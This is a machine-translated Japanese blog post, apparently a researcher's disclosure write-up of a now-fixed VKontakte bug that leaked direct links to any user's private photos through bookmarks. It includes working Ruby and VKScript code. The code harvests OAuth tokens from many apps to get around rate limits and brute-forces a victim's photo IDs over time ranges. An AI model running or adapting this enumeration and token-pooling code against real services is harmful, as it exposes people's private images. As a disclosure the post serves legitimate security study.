VKontakteの脆弱性により、プライベート写真への直接リンクが許可されました





tl; dr
VKブックマークに脆弱性が発見され、プライベートメッセージ、任意のユーザー/グループのアルバムからプライベート写真への直接リンクを受信できるようになりました。 ユーザーの写真を一定期間ソートし、この脆弱性を介して画像への直接リンクを受け取るスクリプトが作成されました。 つまり、昨日、1分ですべての写真を7分で、先週アップロードしたすべての写真を、20分で-先月、2時間で-昨年取得することができました。 この脆弱性は現在修正されています。 VKontakteの管理は1万票の料金を支払いました。



ストーリーは、Vkontakteの個人プロフィールに画像がスローされたときに始まりました。 通常、重要な場合はクラウドにアップロードしますが、私の場合はこれは不要であり、Vkontakteブックマーク機能を使用することにしました。



この機能について簡単に説明すると、ユーザーが気に入ったものはすべてブックマークに追加されます。 ユーザーリンクと内部VKリンクを手動で追加する機能もあります。 写真へのリンクを追加した後、プレビューと追加されたエンティティのタイプのテキストを見たので、最後の段落は非常に興味深いようでした:







リンクを追加すると、サーバーはそれを解析し、参照しているエンティティを見つけようとし、データベースからこのオブジェクトに関する情報を取得します。 原則として、多くの条件でこの種の関数を作成する場合、開発者が何かを忘れる可能性は非常に高くなります。 したがって、私は通り過ぎる余裕がなく、少し実験するために数分を費やすことにしました。



その結果、私は何かを見つけることができました。 アクセスできない写真、メモ、またはビデオへのリンクを追加すると、オブジェクトに関するいくつかの個人情報を取得できます。 写真とビデオの場合、これは小さな(150x150)プレビューであり、何も見にくい、プライベートノートの名前が表示されていました。 fave.getLinks API メソッドを使用すると、画像へのリンクを取得できますが、やはり小さすぎます(75pxおよび130px)。 したがって、実際には、深刻なことは何もありません。



サイトのモバイル版にアクセスして、すべてが通常版と同じ方法で表示されているかどうかを確認することにしました。 ページのコードを見て、私はこれを見ました:







はい! 元の画像への直接リンクがdata-src_big属性の値に保存されました!



したがって、Vkontakte上の任意の画像への直接リンクを取得することが可能でした。アップロードされた場所やプライバシー設定に関係なく。 プライベートメッセージからの画像、または任意のユーザー/グループのプライベートアルバムからの写真です。



これで立ち止まって開発者に手紙を書くことは可能であるように思えますが、この脆弱性を悪用してすべての(まあ、または一定期間内にダウンロードされた)ユーザーの写真にアクセスできるかどうか疑問に思いました。 ここでの主な問題は、ご存知のように、タイプphotoXXXXXX_XXXXXXXのプライベート写真へのリンクが常にわかっているわけではないことです。これはブックマークに追加する必要があります。 偶然ID写真を検索するようになりましたが、何らかの理由ですぐにそれをクレイジーとして拒否しました。 APIで写真に関連付けられたメソッドをチェックし、アプリケーションがアルバムでどのように機能するかを調べましたが、ユーザーのすべてのプライベート写真のIDを含むリストを取得するのに役立つリークは見つかりませんでした。 私はすでにこのベンチャーを辞めたかったのですが、もう一度写真とのリンクを見て、突然バスティングが良いアイデアだと思いました。



VKでの写真の仕組み



置き換えることができるように、写真photo52708106_359542386へのリンクは、2つの部分で構成されています: (user id)_(some strange number) 。 2番目の部分はどのように形成されますか?



悲しいかな、実験に2時間を費やした後、私はまだこれを理解していませんでした。 2012年、HighLoad ++で、Oleg Illarionovは、写真の保存方法、水平シャーディング、ロードするサーバーのランダムな選択についていくつかの言葉を述べましたが、サーバーIDと写真のIDの間に関係がないため、この情報は何も提供しませんでした。 特定のグローバルカウンターがあることは明らかですが、まだいくつかのロジックがあります。通常の自動インクリメントを使用して2番目の数値が形成される場合、写真のID値は既に膨大な値に達しているためです(たとえば、現時点では〜 700兆)、しかしVkontakteではこの値はたった〜400百万です(統計によると、ユーザーは毎日 3,000万枚以上の写真をアップロードしています)。 つまり この数字は一意ではなく、ランダムではないことは明らかです。 「古い」ユーザーの写真を調べたスクリプトを書き、私が得たデータに基づいて、この数字が毎年どのくらい変化したかのグラフを作成しました。







いくつかの要因(サーバーの数または新しいロジック?)に応じて値がジャンプすることがわかります。 しかし、一番下の行は、それらが十分に小さく(特に過去2〜3年にわたって)、目的の期間のid範囲を計算することは非常に簡単です。 つまり、たとえば昨年、ユーザーの写真への直接リンクを見つけるには、リンクのさまざまなバリエーションのうち、わずか3,000万(_320000000から_350000000)をブックマークする必要があります。 以下では、数分でこれを実行できるブルートフォース手法について説明しました。



写真を整理します



インターフェイスを介してこれらすべてを手で追加するか、ブックマークに1つのリンクを追加するスクリプトを記述できますが、それは退屈で長くなります。 この場合、検索速度は1秒あたり3ブックマークになります。 Vkontakteサーバーに毎秒4つ以上の要求を送信することはできません



検索の高速化x25



少なくとも3つの要求の制限を少なくとも少し回避するために、 executeメソッドを使用することにしました。 このメソッドの1回の呼び出しで、APIメソッドの25回の呼び出しが可能です。



var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
      
      





したがって、ブルートフォースの速度を最大3 * 25ブックマーク/秒に増やすことができました。 過去1年間、写真は長い間並べ替えられていましたが、短期間ではこの並べ替えの方法はすでにかなり優れていました。



検索の高速化x25 * 1秒あたりの同時リクエスト数



1秒あたりのリクエスト数の制限は、ユーザー全体ではなく、各アプリケーションに個別に適用されます。 したがって、多くのリクエストを並行して送信することを妨げるものはありませんが、同時にそれらの異なるアプリケーションからのトークンを使用します。



最初に、適切な数のアプリケーションを見つける(または作成する)必要がありました。 アプリケーション識別子の特定の間隔でスタンドアロンアプリケーションを探すスクリプトが作成されました。



 class StandaloneAppsFinder attr_reader :app_ids def initialize(params) @range = params[:in_range] @app_ids = [] end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)['response'] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data['type'] == 'standalone' end end
      
      





さらに検索をさらに高速化するために、ユーザー数に応じてアプリケーションを選択できます。

アプリケーションのインストール数が10,000人未満の場合、1秒間に5リクエスト、最大100,000-8リクエスト、最大1,000,000-20リクエスト、100万-35リクエスト/秒以上を作成できます。

[制限と推奨事項]



しかし、私はこれを気にしないことに決めました。



さて、アプリケーションが見つかりました。ユーザーデータに許可を与え、トークンを取得する必要があります。 承認のために、Implicit Flowメカニズムを使用する必要がありました。 OAuthダイアログから認証URLを解析し、リダイレクト後にトークンを取り出す必要がありました。 このクラスには、Cookie p、l (login.vk.com)およびremixsid (vk.com)が必要です。



 class Authenticator attr_reader :access_tokens def initialize(cookie_header) @cookies = { 'Cookie' => cookie_header } @access_tokens = [] end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css('form').attr('action').value end def extract_token_from(url) URI(url).fragment[13..97] end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
      
      





見つかったアプリケーションの数、非常に多くの並列クエリ。 全体を並列化するために、他のタスクで実証されているTyphoeus gemを使用することが決定されました。 その結果、非常に小さな総当たりが発生します。



 class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD[params[:period]] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
      
      





ブルートフォースをさらに高速化するために、応答内の不必要なボディを削除しようとしましたが、VkontakteサーバーはHEAD要求で実装されていないエラー501を返します。



スクリプトの最終バージョンは次のようになります。



 require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1]) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new( 'p=;' + 'l=;' + 'remixsid=;' ) authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
      
      





ブックマーク内のプログラムを実行した後、特定の期間のすべてのユーザーの写真がありました。 Vkontakteのモバイルバージョンに移動し、ブラウザーコンソールを開き、直接リンクを引き出して、元のサイズの写真を楽しむだけでした。







まとめ



一般に、すべてはインターネット接続とプロキシサーバーの速度 、Vkontakteレイテンシサーバー、プロセッサー能力、その他多くの要因に依存します。 アカウントで上記のスクリプトをテストした後、これらの数値を取得しました(トークンの取得に費やした時間を除く)。



期間 時間(分)
昨日 0.84
先週 6.9
先月 18.3
昨年 121.1
過去3年間 312.5


この表は、一定の期間、ID写真を試すのに必要な平均時間を示しています。 このすべてが10〜20回に1回加速されると確信しています。 たとえば、ブルートフォーススクリプトでは、すべてのリクエストとそれらの間の通常の同期の1つの大きなキューを作成します。 私の実装では、タイムアウトのある単一のリクエストはプロセス全体を遅くします。 とにかく、EC2で数個のインスタンスを購入し、1時間ですべてのユーザーの写真をすべて取得できます。 しかし、私はすでに眠りたかった。



とにかく、攻撃者がどれだけの時間、5時間または1日を費やすかは問題ではありません。何らかの方法でプライベート画像へのリンクを取得するからです。 限られた時間内に個人情報にアクセスする能力は、この脆弱性によってもたらされる主な脅威です。



脆弱性を報告する



最初は、レポートはサポートサービスに送信されましたが、「ありがとう、どうにかして修正します...」などの回答と1週間の待機の後、悲しみました。 開発者への直接連絡を手伝ってくれたBo0oMに感謝します。 その後、バグは数時間クローズされ、数日後、管理者は私のアカウントに10,000の報酬を移しました。







VCに焦点を絞った研究を行ったことは一度もありませんが、この脆弱性のほぼ偶然の発見の後、このソーシャルネットワークの完全な監査に数時間を費やすことを真剣に考え始めました。 VKontakteには賞金プログラムの公式バグがないため、ホワイトハット詐欺師はこのサイトを迂回しますが、他の「白人」ではないハッカーはエラーを静かに自分の目的で使用するか販売します。 したがって、VKのこれらの脆弱性をさらに2つ発見できると思います。



すべてに良い!



All Articles